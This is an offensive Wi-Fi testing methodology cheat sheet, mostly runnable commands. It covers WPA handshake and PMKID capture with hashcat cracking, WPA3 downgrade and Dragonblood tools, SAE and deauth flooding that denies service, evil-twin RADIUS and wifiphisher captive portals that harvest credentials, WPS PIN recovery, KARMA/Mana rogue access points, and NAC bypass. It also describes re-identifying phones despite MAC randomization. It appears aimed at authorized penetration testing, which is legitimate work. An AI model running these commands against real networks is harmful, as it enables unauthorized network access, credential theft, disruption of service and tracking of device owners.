Wireless / 802.11 — Offensive Testing Methodology

Quick Workflow

1. Pick the right adapter (monitor mode + injection + correct band/PHY for target)
2. Recon airspace passively — never deauth before you know the topology
3. Choose attack: handshake capture, PMKID, evil twin, KARMA, or WPS
4. Crack offline; do not rely on online dictionary attacks
5. If WPA-Enterprise, pivot through stolen creds or rogue RADIUS

Hardware & Adapter Selection

# Verify monitor + injection
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo aireplay-ng --test wlan0mon
iw list | grep -A 8 "Supported interface modes"

Reconnaissance

# Multi-channel discovery (all bands)
sudo airodump-ng wlan0mon --band abg

# Targeted on a known channel/BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon

# Hidden SSID — wait for client probe or force deauth
sudo airodump-ng -c 6 --essid-regex "." wlan0mon

# Wigle / Kismet for war-driving
kismet -c wlan0mon

Key data to record: BSSID, ESSID, channel, encryption, PMF status, client list, RSSI, vendor OUI.

WPA / WPA2-PSK

Four-way Handshake Capture

# Targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

# Force a reconnect (deauth one client, do not blanket the AP)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

Verify the EAPOL frames are usable:

hcxpcapngtool -o hash.hc22000 handshake-01.cap

PMKID (No Client Required)

PMKID lives in the first AP-to-station message — you can grab it without anyone connected.

sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1 --filterlist_ap=targets.txt --filtermode=2

hcxpcapngtool -o hash.hc22000 pmkid.pcapng

Cracking

# GPU dictionary attack
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule

# Mask attack (e.g. carrier defaults: 10 digits)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

# Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -

WPA3 / SAE

Transition-Mode Downgrade

If the AP advertises both WPA2 and WPA3 (transition mode), force clients onto WPA2 by spoofing an RSN-only beacon and capturing as PSK.

Dragonblood (CVE-2019-9494/9495/13377)

Side-channel and downgrade attacks on SAE. Older hostapd (<2.10) with insufficient curve diversification leaks password elements via timing/cache attacks.

# Reference implementation
git clone https://github.com/vanhoefm/dragonblood
python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon

SAE Auth Flooding (Resource Exhaustion)

sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Triggers heavy crypto on AP CPU; can DoS lower-end deployments

WPA-Enterprise (802.1X / EAP)

Method Identification

# Watch initial EAP-Request/Identity to fingerprint method
tshark -i wlan0mon -Y "eapol || eap" -V

Evil-Twin RADIUS (MSCHAPv2 / GTC)

# eaphammer — automated rogue AP + RADIUS
eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF \
  --auth wpa-eap --creds

# Captured hashes → asleap or hashcat -m 5500
asleap -C challenge -R response -W wordlist.txt

Critical: organizations that don't pin server cert + CN on supplicants are vulnerable. Win10/11 with ServerValidation disabled (common for BYOD) will hand over creds.

EAP-TLS Cert Theft Paths

• DPAPI master key + cert blob from user profile (%APPDATA%\Microsoft\SystemCertificates)
• NDES misconfig (ESC8-class cert request abuse)
• ADCS user auto-enrollment template with weak ACL

WPS

Pixie Dust (Offline)

# Capture WPS exchange
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# Or
bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon

Vulnerable chipsets: Ralink, Realtek, Broadcom (older firmware), MediaTek (specific revs). Pixiewps recovers PIN in seconds when nonces are predictable.

Online PIN Brute (Last Resort)

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -N -d 15 -t 30 -T .5 -r 3:30
# Most modern APs lock out after a few failures — slow and noisy

Evil Twin / KARMA / Mana

Stock Evil Twin (Captive Portal)

# wifiphisher — automated AP + phishing portal
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd

# airgeddon — interactive menu (good for one-off engagements)
sudo airgeddon

KARMA / Mana (Probe Exploitation)

Older stations broadcast PNL (Preferred Network List) probes. KARMA replies "yes" to anything; Mana picks one realistic ESSID and answers consistently to defeat MAC randomization.

# hostapd-mana
sudo hostapd-mana ./mana.conf

# Combine with rogue RADIUS for enterprise nets
eaphammer -i wlan0 --known-beacons --known-ssids-file ssids.txt \
  --auth wpa-eap --creds --hostile-portal

MAC Randomization Defeat

iOS/Android randomize MACs but leak per-SSID stable IDs. Cluster probes by sequence number and timing to re-identify devices.

KRACK & FragAttacks

Test a network's patch status:

# Vanhoef test scripts
git clone https://github.com/vanhoefm/krackattacks-scripts
./krack-test-client.py
git clone https://github.com/vanhoefm/fragattacks
./test-fragattacks.py wlan0

Deauth / Disassociation Attacks

# Single client deauth (use for handshake capture)
aireplay-ng --deauth 3 -a AP -c CLIENT wlan0mon

# Broadcast (DoS — only with explicit authorization)
mdk4 wlan0mon d -B target_bssids.txt

# Disassoc + auth flood combo (kicks then prevents reconnect)
mdk4 wlan0mon a -a AP_BSSID -m

802.11w (PMF) blocks unencrypted deauth. Most modern enterprise APs require it. Clients without PMF support are still kickable via Action frames.

802.1X / Wired NAC Bypass (Adjacent)

# Sniff valid 802.1X exchange on wired side
tcpdump -i eth0 -w nac.pcap ether proto 0x888e

# silentbridge / nac_bypass — transparently bridge through an authenticated host
git clone https://github.com/s0lst1c3/silentbridge
silentbridge --takeover --phy wlan0  # variants for wired

Wi-Fi 6 / 6E / 7 Considerations

• 6 GHz (Wi-Fi 6E) disables WPA2-only; WPA3 + PMF mandatory. Many attacks are mitigated by spec.
• OFDMA / MU-MIMO: legacy injection often misaligns with RU allocations — verify packet delivery on test bench.
• TWT (Target Wake Time): deauth windows differ; observe BA sessions before injecting.
• MLO (Wi-Fi 7): a single client over multiple links — capture must cover all links to recover full session.

Sidebands & Adjacent Wireless